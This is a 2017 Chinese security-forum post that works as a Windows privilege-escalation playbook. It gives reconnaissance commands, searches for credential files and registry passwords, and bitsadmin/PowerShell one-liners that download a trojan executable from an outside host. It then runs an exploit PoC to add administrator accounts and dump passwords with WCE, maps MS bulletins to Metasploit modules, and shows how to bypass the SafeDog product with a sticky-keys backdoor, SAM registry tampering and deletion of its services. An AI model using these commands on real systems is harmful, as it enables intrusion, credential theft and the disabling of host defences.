Windows提权基础

simeon / 2017-06-02 04:20:30 / 浏览数 3420 安全技术 漏洞分析 顶(0) 踩(0)

Windows提权基础
安天365 simeon
在渗透过程中很多人都认为Windows提权很难，其核心是掌握的基础不够扎实，当然除了极为变态的权限设置的服务器，基本上笔者遇到的服务器99%都提权成功了，本文
1.Windows提权信息收集
1.收集OS名称和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
2.主机名称和所有环境变量
（1）主机名称：hostname
（2）环境变量：SET
3.查看用户信息
（1）查看所有用户：net user 或者net1 user
（2）查看管理员用户组：net localgroup administrators或者net1 localgroup administrators
（3）查看远程终端在线用户：query user 或者quser
4.查看远程端口
（1）注册表查看REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
（2）通过命令行查看
获取对应的PID号：tasklist /svc | find "TermService"
通过PID号查找端口：netstat -ano | find "1980"
5.查看网络情况
（1）网络配置情况：ipconfig /all
（2）路由器信息： route print
（3）要查看ARP缓存： arp -A
（4）查看网络连接： netstat -ano
（5）要查看防火墙规则：
netsh firewall show config
netsh firewall show state
6.应用程序和服务
（1）要查看服务的进程ID：tasklist /SVC
（2）已安装驱动程序的列表：DRIVERQUERY
（3）已经启动Windows 服务net start
（4）查看某服务启动权限：sc qc TermService
（5）已安装程序的列表：wmic product list brief
（6）查看服务列表：wmic service list brief # Lists services
（7）查看进程列表wmic process list brief # Lists processes
（8）查看启动程序列表wmic startup list brief # Lists startup items
（9）检查补丁已安装的更新和安装日期
wmic qfe get Caption,Deion,HotFixID,InstalledOn
搜索，您可以使用提升权限的特定漏洞：
wmic qfe get Caption,Deion,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
执行上面的命令的没有输出，意味着那个补丁未安装。
（10）结束程序：wmic process where name="iexplore.exe" call terminate
7.检索敏感文件
dir /b/s password.txt
dir /b /s .doc
dir /b /s .ppt
dir /b /s .xls
dir /b /s . docx
dir /b /s .xlsx
dir /b/s config. filesystem
findstr /si password .xml .ini .txt
findstr /si login .xml .ini .txt
除此之外，您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中，其中单个系统的手动安装是不切实际的，找到这些文件即
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
8.目录文件操作
（1）列出d:\www的所有目录：
for /d %i in (d:\www*) do @echo %i
（2）把当前路径下文件夹的名字只有1-3个字母的显示出来：
for /d %i in (???) do @echo %i
（3）以当前目录为搜索路径，把当前目录与下面的子目录的全部EXE文件列出：

for /r %i in (.exe) do @echo %i
（4）以指定目录为搜索路径，把当前目录与下面的子目录的所有文件列出
for /r "f:\freehost\hmadesign\web\" %i in (.) do @echo %i
（5）显示a.txt里面的内容，因为/f的作用，会读出a.txt中：
for /f %i in (c:\1.txt) do echo %i
9.RAR打包
rar a -k -r -s -m3 c:\1.rar d:\wwwroot
10.php读文件
c:/php/php.exe "c:/www/admin/1.php"
11.Windows7及以上的版本操作系统文件下载可以使用的bitsadmin和powershell：
bitsadmin /transfer myjob1 /download /priority normal http://www.antian365.com/lab/4433.exe c:\ma.exe
powershell (new-object System.Net.WebClient).DownloadFile(' http://www.antian365.com/ma.exe','ma.exe')
12.注册表关键字搜索，password为关键字，可以是vnc等敏感关键字
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
13.系统权限配置
cacls c:\
cacls c:\windows\ma.exe 查看ma.exe的权限配置
14.自动收集系统有用信息脚本
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

2．Windows提权准备
通过前面的基础命令以及本章的第二章节，可以有针对性的对目标开展提权工作，根据Windows-Exploit-Suggester获取目前系统可能存在的漏洞。
1.收集并编译相关POC
2.若操作系统有杀毒软件以及安全防护软件，则需要对提权POC进行免杀，否则进行下一步。
3.上传POC
4.有webshell或者反弹webshell来执行命令
5.搜索漏洞，根据关键字进行搜索例如MS10-061。
（1）在百度浏览器中搜索“MS10-061 site:exploit-db.com”
（2）packetstormsecurity网站搜索
https://packetstormsecurity.com/search/?q=MS16-016
（3）安全焦点，其BugTraq是一个出色的漏洞和exploit数据源，可以通过CVE编号，或者产品信息漏洞直接搜索。网址：http://www.securityfocus.com/bid。
3．使用msf平台搜索可利用POC
1.搜索poc
在kali中打开msf或者执行“/usr/bin/msfconsole”，在出来的命令提示符下使用命令进行搜索：
search ms08
search ms09
search ms10
search ms11
search ms12
search ms13
search ms14
search ms15
search ms16
search ms17
以上命令将搜索2008年至2017年的所有可用的Windows下的exploit，例如搜索2015年的exploit，如图1所示。

图1搜索2015年所有可用的0day
2.查看相关漏洞情况
可以通过微软官方网站查看漏洞对应的版本，利用方式为https://technet.microsoft.com/library/security/漏洞号，例如查看ms08-068则其网页打开方式为：https://tech

图2微软官方对应版本号
4．实施提权
执行命令。比如可利用poc文件为poc.exe，则可以使用如下的一些命令提权：
（1）直接执行木马。poc.exe ma.exe
（2）添加用户

poc.exe "net user antian365 1qaz2wsx /add"
poc.exe "net localgroup administrators antian365 /add"
（3）获取明文密码或者哈希值
poc.exe "wce32.exe -w"
poc.exe "wce64.exe -w"
poc.exe "wce32"
5．相关资源下载
1.Tools下载
wce下载：http://www.ampliasecurity.com/research/windows-credentials-editor/
http://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
http://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
sysinternals ：https://technet.microsoft.com/en-us/sysinternals/bb842062
mimikatz ：http://blog.gentilkiwi.com/mimikatz
python ：https://www.python.org/downloads/windows/
2.搜索漏洞和shellcode
http://www.exploit-db.com
http://1337day.com
http://0day.today
http://www.securityfocus.com
http://seclists.org/fulldisclosure/
http://www.exploitsearch.net
http://www.securiteam.com
http://metasploit.com/modules/
http://securityreason.com
https://cxsecurity.com/exploit/
http://securitytracker.com/
6．Windows本地溢出漏洞对应表
1.Windows2003对应漏洞、编号及其影响系统及msf模块
1.2007年对应漏洞、编号及其影响系统及msf模块
（1）KB935966 |MS07-029 Win2000SP4、Win2003SP1/SP2 exploit/windows/dcerpc/ms07_029_msdns_zonename
exploit/windows/smb/ms07_029_msdns_zonename
（2）KB937894| MS07-065 WinxpSP2、Win2000SP4、WinXP-x64-SP2、Win2003SP1/SP2
exploit/windows/dcerpc/ms07_065_msmq
（3）KB941568|MS07-064 Win2000SP4
exploit/windows/misc/ms07_064_sami
（4）KB944653|MS07-067 WinXPSP2、WinXP-x64-SP2、Win2003SP1/SP2
2.2008年对应漏洞、编号及其影响系统及msf模块
（1）KB958644 |MS08-067 Win2000SP4、WinXP-SP2/SP3、
WinXP-64-SP/SP2、Win2003SP1/SP2、Win2003-64/SP2
exploit/windows/smb/ms08_067_netapi
（2）KB 957097| MS08-068 Win2000SP4、WinXP-SP2/SP3、
WinXP-64-SP/SP2、Win2003SP1/SP2、Win2003-64/SP2
exploit/windows/smb/smb_relay
3.2009年对应漏洞、编号及其影响系统及msf模块
（1）KB952004|MS09-012 PR Win2003/2008
（2）KB956572|MS09-012烤肉
（3）KB970483|MS09-020 IIS6
（4）KB971657|MS09-041 WinXP、Win2003提权
（5）KB975254|MS09-053 IIS5远程溢出，Windows2000SP4，Win2003及Win2008拒绝服务。
（6）KB975517 |MS09-050 Vista、Win2008-32/SP2、Win2008-64/SP2
exploit/windows/smb/ms09_050_smb2_negotiate_func_index
4.2010年对应漏洞、编号及其影响系统及msf模块
（1）KB977165|MS10-015 Vista、Win2003-32-64/SP2、Win2008-32-64/SP2
exploit/windows/local/ms10_015_kitrap0d
（2）KB 2347290|MS10-061 Winxp3、Winxp64sp2、Win2003-32-64 SP2、Win2008-32-64 SP2
（3）KB2360937|MS10-084 Winxp3、Winxp64sp2、Win2003-32-64 SP2
（4）KB2305420| MS10-092 Win7-32-64、Win2008-32-64、Win2008R2-32-64
exploit/windows/local/ms10_092_schelevator
（5）KB2124261|KB2271195 MS10-065 IIS7
5.2011年对应漏洞、编号及其影响系统及msf模块
（1）KB2393802|MS11-011
Winxp32-64-SP3、Win2003-32-64-SP2、Win7-32-64-SP1、 Win2008-R2-64-SP2
（2）KB2478960|MS11-014
Winxp32-64-SP3、Win2003-32-64-SP2
（3）KB2507938|MS11-056
Winxp32-64-SP3、Win2003-32-64-SP2、Win7-32-64-SP1、 Win2008-R2-64-SP2
（4）KB2566454|MS11-062
Winxp32-64-SP3、Win2003-32-64-SP2
（5）KB2620712|MS11-097

Winxp-SP3、Win2003-SP2、Win7-64-SP1、 Win2008R2-64-SP1
（6）KB2503665|MS11-046
Winxp-SP3、Win2003-SP2、Win7-64-SP1、 Win2008R2-64-SP1
（7）KB2592799|MS11-080
Winxp-SP3、Win2003-SP2
exploit/windows/local/ms11_080_afdjoinleaf
6.2012年对应漏洞、编号及其影响系统及msf模块
（1）KB2711167| KB2707511|KB2709715|MS12-042 sysret –pid
Winxp-SP3、Win2003-SP2、Win7-64-SP1、 Win2008R2-64-SP1、Win8-32-64、Win2012
（2）KB2621440|MS12-020 Winxp-SP3、Win2003-SP2、Win7-64-SP1、 Win2008R2-64-SP1、
7.2013年对应漏洞、编号及其影响系统及msf模块
（1）KB2778930|MS13-005 Vista-32-64-SP2、Win2008-32-64-SP2、Win7-32-64-SP1、 Win2008R2-64-SP1、Win8-32-64、Win2012
exploit/windows/local/ms13_005_hwnd_broadcast
（2）KB2840221|MS13-046 WinXP-32-SP3、WinXP-64-SP2、Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-R2-32-64-SP2、Win7-32-64-SP1、
Win2008R2-64-SP1、Win8-32-64、Win2012、Win2012R2
（3）KB2850851|MS13-053 EPATHOBJ
0day，WinXP-32-SP3、WinXP-64-SP2、Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-R2-32-64-SP2、Win7-32-64-SP1、
Win2008R2-64-SP1、Win8-32-64、Win2012
exploit/windows/local/ms13_053_schlamperei
8.2014年对应漏洞、编号及其影响系统及msf模块
（1）KB 2914368 |MS14-002 WinXPSP3、WinXP-64-SP2、Win2003-32-64-sp2
exploit/windows/local/ms_ndproxy
（2）KB 2916607|MS14-009 Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-R2-32-64-SP1、
Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/local/ms14_009_ie_dfsvc
（3）KB3000061|MS14-058 Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-R2-32-64-SP2、Win7-32-64-SP1、
Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/local/ms14_058_track_popup_menu
（4）KB 2989935|MS14-070 Win2003-32-64-SP2
exploit/windows/local/ms14_070_tcpip_ioctl
9.2015年对应漏洞、编号及其影响系统及msf模块
（1）KB3023266|MS15-001 Win7-32-64-SP1、Win2008R2-32-64-SP1、 Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/local/ntapphelpcachecontrol
（2）KB3025421|MS15_004、Win7-32-64-SP1、Win2008R2-32-64-SP1、 Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/local/ms15_004_tswbproxy
（3）KB3041836|MS15-020、Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-R2-32-64-SP1、
Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/smb/ms15_020_shortcut_icon_dllloader
（4）KB3057191|MS15-051
Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-R2-32-64-SP1、 Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/local/ms15_051_client_copy_image
（5）KB3077657|MS15-077
Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-R2-32-64-SP1、 Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
（6）KB 3079904|MS15_078
Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-R2-32-64-SP1、 Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/local/ms15_078_atmfd_bof
（7）KB3079904|MS15-097
Win2003-32-64-SP2、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-R2-32-64-SP1、 Win2008R2-64-SP1、Win8-8.1-32-64、Win2012、Win2012R2
exploit/windows/smb/ms15_020_shortcut_icon_dllloader
10.2016年对应漏洞、编号及其影响系统及msf模块
（1）KB3134228|MS16-014 Win2008、Win7、Win2012
（2）KB3124280|MS16-016
WebDAV提权漏洞，Vista-32-64-SP2、Win2008-32-64-SP2、Win7-32-64-SP1、Win2008R2-64-SP1、Win8.1-32-64、Win2012、Win2012R2、Win10-32-64
exploit/windows/local/ms16_016_webdav
（3）KB3139914|MS16-032、Vista-32-64-SP2、Win2008-32-64-SP2、Win7-32-64-SP1、Win2008R2-64-SP1、Win8.1-32-64、Win2012、Win2012R2、Win10-
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Windows 2003 SP2 安装了MS10-046补丁，可用ms15_020进行溢出
Windows 2008 SP2 (32 bits)安装了MS14-027补丁可用ms15_020进行溢出
7．过安全狗
1.vbs法
将以下代码保存为1.vbs然后执行cscript 1.vbs
```
Set o=CreateObject( "Shell.Users" )
Set z=o.create("user")
z.changePassword "1qaz2WSX12",""
z.setting("AccountType")=3
```
2.shift后门法
```
copy C:\sethc.exe C:\windows\system32\sethc.exe
copy C:\windows\system32\sethc.exe C:\windows\system32\dllcache\sethc.exe
```
3.for循环添加帐号法

for /l %%i in (1,1,100) do @net user temp asphxg /add&@net localgroup administrators temp /add
4.修改注册表法
administrator对应值是1F4,GUEST是1F5。
（1）使用net1 user guset 1 ,将guest密码重置为1，无需过问是guest否禁用
（2）执行：reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4" "C:\RECYCLER\1.reg"
导出administrator的注册表值到某路径,修改内容，将"V"值删除，只留F值,将1F4修改为1F5,保存。
（3）执行regedit /s C:\RECYCLER\1.reg 导入注册表
就可以使用，guest 密码1登陆了。
5.直接修改管理员密码法，尽量不用这招，实在没有办法就用这个。
net user administrator somepwd
6.删除与停止安全狗相关服务法
如果是system权限可以采取以下方法停止安全狗
（1）停止安全狗相关服务
net stop "Safedog Guard Center" /y
net stop "Safedog Update Center" /y
net stop "SafeDogCloudHelper" /y
（2）直接删除SafeDogGuardCenter服务
sc stop "SafeDogGuardCenter"
sc config "SafeDogGuardCenter" start= disabled
sc delete "SafeDogGuardCenter"

sc stop " SafeDogUpdateCenter"
sc config " SafeDogUpdateCenter" start= disabled
sc delete " SafeDogUpdateCenter"

sc stop " SafeDogCloudHelper"
sc config " SafeDogCloudHelper" start= disabled
sc delete " SafeDogCloudHelper"
安天365官方交流群513833068

上一篇：PR的盛宴之下，不能缺席的是技术的... 下一篇：黑客入侵应急分析手工排查
1. 0 条回复
- 动动手指，沙发就是你的了！